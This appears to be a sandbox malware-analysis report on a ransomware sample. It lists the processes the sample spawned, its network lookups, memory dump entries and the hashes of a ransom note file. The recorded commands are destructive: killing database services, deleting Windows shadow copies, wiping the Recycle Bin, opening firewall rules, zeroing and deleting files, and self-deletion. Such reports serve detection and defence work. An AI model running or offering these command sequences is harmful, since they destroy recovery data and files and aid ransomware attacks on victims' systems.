"taskkill.exe" /IM mysqld-nt.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqlbrowser.exe /F

C:\Windows\system32\taskkill.exe

"taskkill.exe" /IM sqlservr.exe /F

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }

C:\Windows\system32\cmd.exe

"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin

C:\Windows\system32\netsh.exe

"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes

C:\Windows\system32\netsh.exe

"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes

C:\Windows\system32\arp.exe

"arp" -a

C:\Windows\System32\mshta.exe

"C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

C:\Windows\system32\cmd.exe

"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”

C:\Windows\system32\PING.EXE

ping 127.0.0.7 -n 3

C:\Windows\system32\fsutil.exe

fsutil file setZeroData offset=0 length=524288 “%s”

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\779db1c725f71e54d4f31452763784abe783afa6a78cc222e17796b0045f33fc.bin.sample.exe

C:\Windows\system32\choice.exe

choice /C Y /N /D Y /T 3

Network

Country Destination Domain Proto
N/A 8.8.8.8:53 www.poweradmin.com udp
N/A 52.1.55.52:443 www.poweradmin.com tcp
N/A 8.8.8.8:53 live.sysinternals.com udp
N/A 20.49.223.105:80 live.sysinternals.com tcp
N/A 10.7.0.255:3 udp
N/A 10.7.0.255:3 udp
N/A 10.7.0.255:3 udp
N/A 10.7.0.255:3 udp
N/A 10.7.0.255:3 udp

Files

memory/1100-60-0x00000000001B0000-0x00000000001B1000-memory.dmp

memory/1100-62-0x00000000005E0000-0x00000000005E2000-memory.dmp

memory/760-63-0x0000000000000000-mapping.dmp

memory/1120-64-0x0000000000000000-mapping.dmp

memory/1644-65-0x0000000000000000-mapping.dmp

memory/1356-66-0x0000000000000000-mapping.dmp

memory/1760-67-0x0000000000000000-mapping.dmp

memory/820-70-0x0000000000000000-mapping.dmp

memory/2032-69-0x0000000000000000-mapping.dmp

memory/368-68-0x0000000000000000-mapping.dmp

memory/1760-71-0x000007FEFB9F1000-0x000007FEFB9F3000-memory.dmp

memory/1580-72-0x0000000000000000-mapping.dmp

memory/1740-73-0x0000000000000000-mapping.dmp

memory/1536-74-0x0000000000000000-mapping.dmp

memory/920-76-0x0000000000000000-mapping.dmp

memory/1088-75-0x0000000000000000-mapping.dmp

memory/576-77-0x0000000000000000-mapping.dmp

memory/1632-79-0x0000000000000000-mapping.dmp

memory/640-78-0x0000000000000000-mapping.dmp

memory/568-80-0x0000000000000000-mapping.dmp

memory/896-81-0x0000000000000000-mapping.dmp

memory/1152-83-0x0000000000000000-mapping.dmp

memory/1908-84-0x0000000000000000-mapping.dmp

memory/696-85-0x0000000000000000-mapping.dmp

memory/972-86-0x0000000000000000-mapping.dmp

memory/1756-88-0x0000000000000000-mapping.dmp

memory/1624-87-0x0000000000000000-mapping.dmp

memory/1680-89-0x0000000000000000-mapping.dmp

memory/344-91-0x0000000000000000-mapping.dmp

memory/1324-90-0x0000000000000000-mapping.dmp

memory/1420-92-0x0000000000000000-mapping.dmp

memory/1096-94-0x0000000000000000-mapping.dmp

memory/948-93-0x0000000000000000-mapping.dmp

memory/1620-95-0x0000000000000000-mapping.dmp

memory/368-97-0x0000000000000000-mapping.dmp

memory/288-96-0x0000000000000000-mapping.dmp

memory/1532-98-0x0000000000000000-mapping.dmp

memory/2012-100-0x0000000000000000-mapping.dmp

memory/1700-99-0x0000000000000000-mapping.dmp

memory/1320-101-0x0000000000000000-mapping.dmp

memory/548-103-0x0000000000000000-mapping.dmp

memory/856-102-0x0000000000000000-mapping.dmp

memory/1908-104-0x0000000000000000-mapping.dmp

memory/1632-105-0x0000000000000000-mapping.dmp

memory/1740-106-0x0000000000000000-mapping.dmp

memory/1832-107-0x0000000000000000-mapping.dmp

memory/1940-108-0x0000000000000000-mapping.dmp

memory/1580-109-0x0000000000000000-mapping.dmp

memory/1152-110-0x0000000000000000-mapping.dmp

memory/1704-111-0x0000000000000000-mapping.dmp

memory/1492-112-0x0000000000000000-mapping.dmp

memory/552-113-0x0000000000000000-mapping.dmp

memory/1436-114-0x0000000000000000-mapping.dmp

memory/896-115-0x0000000000000000-mapping.dmp

memory/952-116-0x0000000000000000-mapping.dmp

memory/456-117-0x0000000000000000-mapping.dmp

memory/1600-118-0x0000000000000000-mapping.dmp

memory/1548-121-0x0000000000000000-mapping.dmp

memory/1552-120-0x0000000000000000-mapping.dmp

memory/1356-119-0x0000000000000000-mapping.dmp

memory/944-122-0x0000000000000000-mapping.dmp

memory/1672-123-0x0000000000000000-mapping.dmp

memory/1760-125-0x0000000000000000-mapping.dmp

memory/664-124-0x0000000000000000-mapping.dmp

memory/1484-126-0x0000000000000000-mapping.dmp

memory/1576-127-0x0000000000000000-mapping.dmp

memory/1576-129-0x0000000002530000-0x0000000002531000-memory.dmp

memory/1576-130-0x000000001ADD0000-0x000000001ADD1000-memory.dmp

memory/1576-131-0x0000000002680000-0x0000000002681000-memory.dmp

memory/1576-132-0x000000001AD50000-0x000000001AD52000-memory.dmp

memory/1576-133-0x000000001AD54000-0x000000001AD56000-memory.dmp

memory/1576-134-0x00000000022F0000-0x00000000022F1000-memory.dmp

memory/1604-135-0x0000000000000000-mapping.dmp

C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta

MD5 0c21dfc58db0fd35a9132d110710c37a
SHA1 33579fc69e4a75d83114a7e84c4d286ff49a67e5
SHA256 403b9e97456b600e38cde45726131405ded28bec5997449a06572a72bb28c98a
SHA512 4b10089d985a16ad8884ed2d54af29aecd9e075fba806e412169ef5250fdb513ecbf5321932ce85c79728b224fd35a95b3baf4a5fc2684f2f67127172f27ff8c